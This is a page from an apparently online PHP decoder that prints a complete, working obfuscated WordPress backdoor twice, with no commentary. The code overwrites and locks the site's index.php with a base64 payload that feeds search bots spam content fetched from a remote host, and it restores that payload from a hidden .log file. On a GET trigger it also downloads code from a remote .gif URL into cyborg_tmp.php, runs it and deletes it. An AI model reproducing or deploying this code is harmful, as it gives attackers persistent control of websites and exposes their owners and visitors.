Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto GRLDV; lnF3g: $BCwMJ = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ..

Decoded Output download

<?php  
goto GRLDV; lnF3g: $BCwMJ = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"; goto U2CQz; vXzQA: @unlink($teIhn); goto bmmVL; bmmVL: @file_put_contents($teIhn, base64_decode($GBe1y)); goto mi5qO; sa3wQ: goto p3u1w; goto UIpDv; DKGbz: if (file_exists($sh5Ur)) { goto nWB0H; } goto AgL8W; vVS48: $GBe1y = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpAc2V0X3RpbWVfbGltaXQoMzYwMCk7CkBpZ25vcmVfdXNlcl9hYm9ydCgxKTsKJGl4dj0nMi4yLjE3JzsKJGdvdiA9ICJceDZhXDE0NVx4MzJcNTZceDYzXDE2Mlx4NjVcMTQxXHg3NFwxNDVceDczXDE0NVx4NmZcNTZceDc4XDE3MVx4N2EiOwokZGIgPSAiOTIwMCI7CiRpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwokdXIgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddIDogIiI7CiR1YSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgPyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gOiAiIjsKJHVyaSA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwokaG9zdCA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKJGxhbmcgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSk/JF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ106IiI7CiR0b2tlbiA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1hET0lNJ10pPyRfU0VSVkVSWydIVFRQX1hET0lNJ106IiI7CiRwcm90byA9ICgoIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQUyddKSAhPT0gJ29mZicpIHx8IChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09PSAnaHR0cHMnKSB8fCAoIWVtcHR5KCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAhPT0gJ29mZicpKSA/ICAiaHR0cHMiOiAiaHR0cCI7CiRoZWFkZXIgPSBhcnJheSgnTGFuZzogJy4kbGFuZywnVXNlci1BZ2VudDogJy4kdWEsICdSZWZlcmVyOiAnLiR1ciwgJ0h0dHAtUHJvdG86ICcuJHByb3RvLCAnSHR0cC1Ib3N0OiAnLiRob3N0LCAnSHR0cC1Vcmk6ICcuJHVyaSwgJ0RiZ3JvdXA6ICcuJGdvdiwgJ0h0dHAtWC1Gb3J3YXJkZWQtRm9yOiAnLiRpcCwnVG9rZW46ICcuJHRva2VuKTsKJHBvc3RkYXRhPSAicHJvdG89JHByb3RvJnNob3N0PSRob3N0JmlwPSRpcCZkYmdyb3VwPSRkYiZ1cmk9JHVyaSI7CgppZiAoKCR1cmkhPT0iL2Zhdmljb24uaWNvIikgJiYoIEBwcmVnX21hdGNoKCcjZ29vZ2xlfHlhaG9vfGJpbmcjaScsJHVhKSB8fCAoQHByZWdfbWF0Y2goJyNnb29nbGUuY28uanB8Z29vZ2xlLmNvbXx5YWhvby5jb218eWFob28uY28uanB8YmluZy5jb20jaScsJHVyKSAmJiBAcHJlZ19tYXRjaCgnI1svXD9dKFthLXowLTldezF9KShcZCspI2knLCR1cmkpKSkpeyAgICAKICAgIGxpc3QoJGNudHgsJGNvZGUsJGN0eXBlKSA9IHVybHgoJ2h0dHA6Ly8nLiRnb3YuJy9pbmRleD8nLiRwb3N0ZGF0YSwkaGVhZGVyLCRwb3N0ZGF0YSk7CiAgICBpZiAoc3RyaXBvcygkY3R5cGUsJ2d6aXAnKT4wKXsgQGhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LWd6aXAnKTsgZXhpdCgkY250eCk7IH0KICAgIGlmIChzdHJpcG9zKCRjbnR4LCc8IWRvY3QnKT09PTB8fHN0cmlwb3MoJGNudHgsJzxodG1sJyk9PT0wKXsgZXhpdCgkY250eCk7IH0KICAgIGlmIChzdHJpcG9zKCRjbnR4LCc8P3htbCcpPT09MCl7IEBoZWFkZXIoJ0NvbnRlbnQtdHlwZTogdGV4dC94bWwnKTsgZXhpdCgkY250eCk7IH0KICAgIGlmIChzdHJpcG9zKCRjbnR4LCdVc2VyLWFnJyk9PT0wKXsgQGhlYWRlcignQ29udGVudC10eXBlOiB0ZXh0L3BsYWluO2NoYXJzZXQ9dXRmLTgnKTsgZXhpdCgkY250eCk7IH0KCiAgICAKICAgIGlmIChzdHJpcG9zKCRjbnR4LCdodHRwJyk9PT0wKXsKICAgICAgICBpZiAoc3RyaXBvcygkY250eCwnP21haW5fcGFnZT0nKSl7IEBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJGNudHgpOyBleGl0O30KICAgICAgICBpZiAoc3Ryc3RyKCRjbnR4LCJbLF0iKSl7JHNlZ3MgPSBleHBsb2RlKCJbLF0iLCRjbnR4KTsgJGxpbmVzID0gZXhwbG9kZSgiLCIsJHNlZ3NbMF0pOyAkcmVzdWx0ID0gJyc7IGZvcmVhY2goJGxpbmVzIGFzICR1cmwpeyBsaXN0KCRyZXNwYm9keSwkY29kZSkgPSB1cmx4KCR1cmwsbnVsbCxudWxsLCRzZWdzWzFdKTskcmVzdWx0IC49ICR1cmwuJHJlc3Bib2R5OyB9IGV4aXQoJHJlc3VsdCk7fQogICAgfQogICAgaWYgKEBwcmVnX21hdGNoKCcjXlteLl0qLih0eHR8cGhwKSNpJywkY250eCkpeyR2YWx1ZXMgPSBleHBsb2RlKCJbLF0iLCRjbnR4KTsgdG9kaygkdmFsdWVzWzBdLCR2YWx1ZXNbMV0pOyBpZihmaWxlX2V4aXN0cygkdmFsdWVzWzBdKSl7IGV4aXQoJ2VuZCBvaycpO31lbHNleyBleGl0KCdubyBmYWxzZScpO30gfQogICAgaWYgKHN0cmlwb3MoJGNudHgsJ29rJyk9PT0wKXsgZXhpdCgkY250eC4kZGIuJGdvdi4kaXh2KTsgfQogICAgaWYgKCRjb2RlID49IDQwMCAmJiAkY29kZSA8IDUwMCl7QGhlYWRlcignSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpO2V4aXQ7fQogICAgaWYgKCRjb2RlID49IDUwMCl7QGhlYWRlcignSFRUUC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvcicpO2V4aXQ7fQogICAgaWYgKCRjbnR4IT0iIil7IGV4aXQoJGNudHgpOyB9Cn0KCmZ1bmN0aW9uIHVybHgoJHVybCwkaGVhZGVyPW51bGwsJHBvc3RkYXRhPW51bGwsJHVhPW51bGwpIHsKICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSl7IHJldHVybjsgfQogICAgdHJ5IHsKICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRU5DT0RJTkcsICdnemlwLGRlZmxhdGUnKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDMwKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICAoJGhlYWRlcj09PW51bGwpPycnOmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQSEVBREVSLCAkaGVhZGVyKTsgKCR1YT09PW51bGx8fCR1YT09PSIiKT8nJzpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdWEpOwogICAgICAgIGlmICgkcG9zdGRhdGEhPT1udWxsICYmICRwb3N0ZGF0YSE9PSIiKSB7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJHBvc3RkYXRhKTsgfQogICAgICAgICRib2R5ID0gY3VybF9leGVjKCRjaCk7JGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLENVUkxJTkZPX0hUVFBfQ09ERSk7ICRjdHlwZSA9IGN1cmxfZ2V0aW5mbygkY2gsQ1VSTElORk9fQ09OVEVOVF9UWVBFKTtjdXJsX2Nsb3NlKCRjaCk7CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsgfSAKICAgIHJldHVybiBhcnJheSgkYm9keSwkY29kZSwkY3R5cGUpOwp9Cgo/PgoKPD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7"; goto g0AxS; RJO4n: $IIRkA = "'wp-includes/blocks/versebOBHj.log'"; goto puFaq; iFEw8: @file_get_contents($LDSdT, false, stream_context_create($FmNyg)); goto fzqB5; mi5qO: @chmod($teIhn, 0444); goto Q1h6s; A2YB1: if (file_exists($sh5Ur)) { goto vPFTh; } goto vVS48; UIpDv: vPFTh: goto kmtoG; KFCjO: $MUfhd = 3927; goto QZr3e; hj0J5: @chmod($teIhn, 438); goto vXzQA; vBbuc: echo filesize($teIhn); goto JW2S_; GRLDV: $teIhn = $_SERVER["DOCUMENT_ROOT"] . "/index.php"; goto RJO4n; aYxiF: Z9u3k: goto pL_CA; Q1h6s: p3u1w: goto R15wv; kmtoG: $GBe1y = @file_get_contents($sh5Ur); goto hj0J5; juSHf: $LDSdT = $BCwMJ . "://" . $OLdjY . "/cyborg_tmp.php"; goto iFEw8; JW2S_: CPoLu: goto stoY0; gQwrQ: if (!($_GET["line"] == "a")) { goto CPoLu; } goto DKGbz; v1Cq2: @chmod($teIhn, 0444); goto sa3wQ; H3sdL: @file_put_contents($jmeyB, $b5fe7); goto qdfJt; VMluy: if (!$b5fe7) { goto Z9u3k; } goto joH1j; qdfJt: $FmNyg = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "GET", "timeout" => "3")); goto lnF3g; N7Wor: @unlink($teIhn); goto Gbwg1; Qkn7r: $b5fe7 = @file_get_contents($d0efA); goto VMluy; Gbwg1: @file_put_contents($teIhn, base64_decode($GBe1y)); goto v1Cq2; g0AxS: @chmod($teIhn, 438); goto N7Wor; r35kR: $d0efA = "http://s.newnday.xyz/cy/cy.gif"; goto Qkn7r; joH1j: $jmeyB = $_SERVER["DOCUME" . "NT_ROOT"] . "/cyborg_tmp.php"; goto H3sdL; puFaq: $sh5Ur = $_SERVER["DOCUMENT_ROOT"] . "/" . $IIRkA; goto KFCjO; U2CQz: $OLdjY = $_SERVER["HTTP_HOST"]; goto juSHf; fzqB5: $sYKnl = @unlink($jmeyB); goto aYxiF; QZr3e: if (!(!file_exists($teIhn) or filesize($teIhn) != $MUfhd)) { goto sxc3Y; } goto A2YB1; AgL8W: echo "lost log"; goto KLfZ0; KLfZ0: nWB0H: goto vBbuc; stoY0: if (!(filesize($teIhn) == $MUfhd && $_GET["cy"] == "1")) { goto dKs1B; } goto r35kR; R15wv: sxc3Y: goto gQwrQ; pL_CA: dKs1B: ?>

Did this file decode correctly?

Original Code

<?php 
goto GRLDV; lnF3g: $BCwMJ = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"; goto U2CQz; vXzQA: @unlink($teIhn); goto bmmVL; bmmVL: @file_put_contents($teIhn, base64_decode($GBe1y)); goto mi5qO; sa3wQ: goto p3u1w; goto UIpDv; DKGbz: if (file_exists($sh5Ur)) { goto nWB0H; } goto AgL8W; vVS48: $GBe1y = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpAc2V0X3RpbWVfbGltaXQoMzYwMCk7CkBpZ25vcmVfdXNlcl9hYm9ydCgxKTsKJGl4dj0nMi4yLjE3JzsKJGdvdiA9ICJceDZhXDE0NVx4MzJcNTZceDYzXDE2Mlx4NjVcMTQxXHg3NFwxNDVceDczXDE0NVx4NmZcNTZceDc4XDE3MVx4N2EiOwokZGIgPSAiOTIwMCI7CiRpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwokdXIgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddIDogIiI7CiR1YSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgPyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gOiAiIjsKJHVyaSA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwokaG9zdCA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKJGxhbmcgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSk/JF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ106IiI7CiR0b2tlbiA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1hET0lNJ10pPyRfU0VSVkVSWydIVFRQX1hET0lNJ106IiI7CiRwcm90byA9ICgoIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQUyddKSAhPT0gJ29mZicpIHx8IChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09PSAnaHR0cHMnKSB8fCAoIWVtcHR5KCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAhPT0gJ29mZicpKSA/ICAiaHR0cHMiOiAiaHR0cCI7CiRoZWFkZXIgPSBhcnJheSgnTGFuZzogJy4kbGFuZywnVXNlci1BZ2VudDogJy4kdWEsICdSZWZlcmVyOiAnLiR1ciwgJ0h0dHAtUHJvdG86ICcuJHByb3RvLCAnSHR0cC1Ib3N0OiAnLiRob3N0LCAnSHR0cC1Vcmk6ICcuJHVyaSwgJ0RiZ3JvdXA6ICcuJGdvdiwgJ0h0dHAtWC1Gb3J3YXJkZWQtRm9yOiAnLiRpcCwnVG9rZW46ICcuJHRva2VuKTsKJHBvc3RkYXRhPSAicHJvdG89JHByb3RvJnNob3N0PSRob3N0JmlwPSRpcCZkYmdyb3VwPSRkYiZ1cmk9JHVyaSI7CgppZiAoKCR1cmkhPT0iL2Zhdmljb24uaWNvIikgJiYoIEBwcmVnX21hdGNoKCcjZ29vZ2xlfHlhaG9vfGJpbmcjaScsJHVhKSB8fCAoQHByZWdfbWF0Y2goJyNnb29nbGUuY28uanB8Z29vZ2xlLmNvbXx5YWhvby5jb218eWFob28uY28uanB8YmluZy5jb20jaScsJHVyKSAmJiBAcHJlZ19tYXRjaCgnI1svXD9dKFthLXowLTldezF9KShcZCspI2knLCR1cmkpKSkpeyAgICAKICAgIGxpc3QoJGNudHgsJGNvZGUsJGN0eXBlKSA9IHVybHgoJ2h0dHA6Ly8nLiRnb3YuJy9pbmRleD8nLiRwb3N0ZGF0YSwkaGVhZGVyLCRwb3N0ZGF0YSk7CiAgICBpZiAoc3RyaXBvcygkY3R5cGUsJ2d6aXAnKT4wKXsgQGhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LWd6aXAnKTsgZXhpdCgkY250eCk7IH0KICAgIGlmIChzdHJpcG9zKCRjbnR4LCc8IWRvY3QnKT09PTB8fHN0cmlwb3MoJGNudHgsJzxodG1sJyk9PT0wKXsgZXhpdCgkY250eCk7IH0KICAgIGlmIChzdHJpcG9zKCRjbnR4LCc8P3htbCcpPT09MCl7IEBoZWFkZXIoJ0NvbnRlbnQtdHlwZTogdGV4dC94bWwnKTsgZXhpdCgkY250eCk7IH0KICAgIGlmIChzdHJpcG9zKCRjbnR4LCdVc2VyLWFnJyk9PT0wKXsgQGhlYWRlcignQ29udGVudC10eXBlOiB0ZXh0L3BsYWluO2NoYXJzZXQ9dXRmLTgnKTsgZXhpdCgkY250eCk7IH0KCiAgICAKICAgIGlmIChzdHJpcG9zKCRjbnR4LCdodHRwJyk9PT0wKXsKICAgICAgICBpZiAoc3RyaXBvcygkY250eCwnP21haW5fcGFnZT0nKSl7IEBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJGNudHgpOyBleGl0O30KICAgICAgICBpZiAoc3Ryc3RyKCRjbnR4LCJbLF0iKSl7JHNlZ3MgPSBleHBsb2RlKCJbLF0iLCRjbnR4KTsgJGxpbmVzID0gZXhwbG9kZSgiLCIsJHNlZ3NbMF0pOyAkcmVzdWx0ID0gJyc7IGZvcmVhY2goJGxpbmVzIGFzICR1cmwpeyBsaXN0KCRyZXNwYm9keSwkY29kZSkgPSB1cmx4KCR1cmwsbnVsbCxudWxsLCRzZWdzWzFdKTskcmVzdWx0IC49ICR1cmwuJHJlc3Bib2R5OyB9IGV4aXQoJHJlc3VsdCk7fQogICAgfQogICAgaWYgKEBwcmVnX21hdGNoKCcjXlteLl0qLih0eHR8cGhwKSNpJywkY250eCkpeyR2YWx1ZXMgPSBleHBsb2RlKCJbLF0iLCRjbnR4KTsgdG9kaygkdmFsdWVzWzBdLCR2YWx1ZXNbMV0pOyBpZihmaWxlX2V4aXN0cygkdmFsdWVzWzBdKSl7IGV4aXQoJ2VuZCBvaycpO31lbHNleyBleGl0KCdubyBmYWxzZScpO30gfQogICAgaWYgKHN0cmlwb3MoJGNudHgsJ29rJyk9PT0wKXsgZXhpdCgkY250eC4kZGIuJGdvdi4kaXh2KTsgfQogICAgaWYgKCRjb2RlID49IDQwMCAmJiAkY29kZSA8IDUwMCl7QGhlYWRlcignSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpO2V4aXQ7fQogICAgaWYgKCRjb2RlID49IDUwMCl7QGhlYWRlcignSFRUUC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvcicpO2V4aXQ7fQogICAgaWYgKCRjbnR4IT0iIil7IGV4aXQoJGNudHgpOyB9Cn0KCmZ1bmN0aW9uIHVybHgoJHVybCwkaGVhZGVyPW51bGwsJHBvc3RkYXRhPW51bGwsJHVhPW51bGwpIHsKICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSl7IHJldHVybjsgfQogICAgdHJ5IHsKICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRU5DT0RJTkcsICdnemlwLGRlZmxhdGUnKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDMwKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICAoJGhlYWRlcj09PW51bGwpPycnOmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQSEVBREVSLCAkaGVhZGVyKTsgKCR1YT09PW51bGx8fCR1YT09PSIiKT8nJzpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdWEpOwogICAgICAgIGlmICgkcG9zdGRhdGEhPT1udWxsICYmICRwb3N0ZGF0YSE9PSIiKSB7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJHBvc3RkYXRhKTsgfQogICAgICAgICRib2R5ID0gY3VybF9leGVjKCRjaCk7JGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLENVUkxJTkZPX0hUVFBfQ09ERSk7ICRjdHlwZSA9IGN1cmxfZ2V0aW5mbygkY2gsQ1VSTElORk9fQ09OVEVOVF9UWVBFKTtjdXJsX2Nsb3NlKCRjaCk7CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsgfSAKICAgIHJldHVybiBhcnJheSgkYm9keSwkY29kZSwkY3R5cGUpOwp9Cgo/PgoKPD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7"; goto g0AxS; RJO4n: $IIRkA = "'wp-includes/blocks/versebOBHj.log'"; goto puFaq; iFEw8: @file_get_contents($LDSdT, false, stream_context_create($FmNyg)); goto fzqB5; mi5qO: @chmod($teIhn, 0444); goto Q1h6s; A2YB1: if (file_exists($sh5Ur)) { goto vPFTh; } goto vVS48; UIpDv: vPFTh: goto kmtoG; KFCjO: $MUfhd = 3927; goto QZr3e; hj0J5: @chmod($teIhn, 438); goto vXzQA; vBbuc: echo filesize($teIhn); goto JW2S_; GRLDV: $teIhn = $_SERVER["DOCUMENT_ROOT"] . "/index.php"; goto RJO4n; aYxiF: Z9u3k: goto pL_CA; Q1h6s: p3u1w: goto R15wv; kmtoG: $GBe1y = @file_get_contents($sh5Ur); goto hj0J5; juSHf: $LDSdT = $BCwMJ . "://" . $OLdjY . "/cyborg_tmp.php"; goto iFEw8; JW2S_: CPoLu: goto stoY0; gQwrQ: if (!($_GET["line"] == "a")) { goto CPoLu; } goto DKGbz; v1Cq2: @chmod($teIhn, 0444); goto sa3wQ; H3sdL: @file_put_contents($jmeyB, $b5fe7); goto qdfJt; VMluy: if (!$b5fe7) { goto Z9u3k; } goto joH1j; qdfJt: $FmNyg = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "GET", "timeout" => "3")); goto lnF3g; N7Wor: @unlink($teIhn); goto Gbwg1; Qkn7r: $b5fe7 = @file_get_contents($d0efA); goto VMluy; Gbwg1: @file_put_contents($teIhn, base64_decode($GBe1y)); goto v1Cq2; g0AxS: @chmod($teIhn, 438); goto N7Wor; r35kR: $d0efA = "http://s.newnday.xyz/cy/cy.gif"; goto Qkn7r; joH1j: $jmeyB = $_SERVER["DOCUME" . "NT_ROOT"] . "/cyborg_tmp.php"; goto H3sdL; puFaq: $sh5Ur = $_SERVER["DOCUMENT_ROOT"] . "/" . $IIRkA; goto KFCjO; U2CQz: $OLdjY = $_SERVER["HTTP_HOST"]; goto juSHf; fzqB5: $sYKnl = @unlink($jmeyB); goto aYxiF; QZr3e: if (!(!file_exists($teIhn) or filesize($teIhn) != $MUfhd)) { goto sxc3Y; } goto A2YB1; AgL8W: echo "lost log"; goto KLfZ0; KLfZ0: nWB0H: goto vBbuc; stoY0: if (!(filesize($teIhn) == $MUfhd && $_GET["cy"] == "1")) { goto dKs1B; } goto r35kR; R15wv: sxc3Y: goto gQwrQ; pL_CA: dKs1B: ?>

Function Calls

None

Variables

None

Stats

MD5 642347348ea264796e6463202bb56008
Eval Count 0
Decode Time 163 ms